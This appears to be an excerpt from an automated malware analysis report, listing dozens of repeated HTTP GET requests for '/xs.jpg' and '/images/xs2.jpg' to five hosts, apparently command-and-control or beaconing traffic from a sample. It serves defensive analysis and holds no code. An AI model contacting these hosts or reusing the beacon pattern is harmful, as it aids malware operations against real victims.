Source: global traffic HTTP traffic detected: GET /xs.jpg?c29ba9f=612184029 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159291|1720159259|3|9|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c814e8b=1888207587 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159292|1720159260|3|9|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?cd40c9d=1506564171 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d5ebd9e=2018814606 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e924854=-1850289336 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159295|1720159259|3|10|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?efa2e6a=-2033475142 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159295|1720159259|3|10|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f75905a=1556177436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159296|1720159260|3|10|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?fbaba77=527791342 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1055bd73=-1828476661 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1122b37b=1437434215 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159299|1720159259|3|11|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?11c3299b=-1612941709 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159300|1720159259|4|11|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1208a479=1210225124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159300|1720159260|3|11|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?125c9be5=924177327 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?12dacc76=1265316312 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?13a86083=-1326750565 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159303|1720159259|3|12|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?14106f9c=673242936 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159303|1720159259|3|12|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?14890695=-1538771800 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159304|1720159260|3|12|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?14e27329=1051154811 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?155951b4=716350312 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1651959c=1123336404 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159307|1720159259|3|13|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?16b3e9bb=-2009630110 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159307|1720159259|3|13|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?170da52a=1547080872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159308|1720159260|3|13|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1786b5d7=1578817372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?180330c9=1611449124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?18be425f=-973991176 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159310|1720159259|3|14|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?194bc1b3=-1324200987 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159311|1720159259|3|14|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?19b3dafe=-414010642 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159312|1720159260|3|14|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?19fa4aca=871667092 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1a87f96c=-1624254328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1b477e89=-633605048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159314|1720159259|3|15|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1bf90ddb=938613686 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159315|1720159259|3|15|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1c4eb48e=-970526750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159315|1720159260|3|15|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1c954dcc=1438640484 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1d468c2f=-1839153941 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1e16c26e=-1770927066 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159318|1720159259|3|16|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1ec6b77a=-1713269406 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159319|1720159259|3|16|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1fd1e84b=533850187 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159319|1720159260|3|16|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?20c162b1=-1547244171 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?211be604=-406631908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2373b5c6=-1915824360 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159322|1720159259|3|17|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?24e8c9b5=619235765 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159323|1720159259|3|17|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?253cedcf=1874250093 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159323|1720159260|3|17|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?26879fc4=1522834916 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?27f237dd=396330763 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?29ccf744=-1489773296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159326|1720159259|3|18|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?2bcaf743=1582807576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159326|1720159259|3|18|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2ca70649=-1098498342 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159327|1720159260|3|18|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2cfced02=1509546500 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?2e7d9d4b=1944906328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3c09d975=2014556906 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159329|1720159259|3|19|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3d14cd8b=633027043 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159330|1720159259|3|19|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3e44093b=-116382484 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159330|1720159260|3|19|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3f86f717=1002352591 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?41d7fe37=-1961888438 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?445d8e02=-561061362 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159333|1720159259|3|20|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?45cf8c26=389951640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159334|1720159259|3|20|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4666d3a0=-1073462208 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159334|1720159260|3|20|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?47518eef=-1901912610 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?494885e8=-1819495128 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4e1a4979=218554042 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159337|1720159259|3|21|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4fe5ce70=1066875328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159338|1720159259|3|21|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?50eb79ae=-222139126 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159338|1720159260|3|21|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?54bd4f7c=-29888908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?5bf62f02=667228684 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5fcee9d4=-1633131316 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159342|1720159259|4|22|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?66b9efaa=-1696088408 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159342|1720159259|3|22|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?6c8a2c8f=-1305955780 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159343|1720159260|4|22|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6e4b76cf=-594088546 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?72a457e7=1026930563 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7a6a3bf3=-187402266 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159345|1720159259|3|23|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7f8f3cd8=-14779984 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159346|1720159259|3|23|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?8644bbad=-1200973547 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159346|1720159260|3|23|0; snkz=8.46.123.33
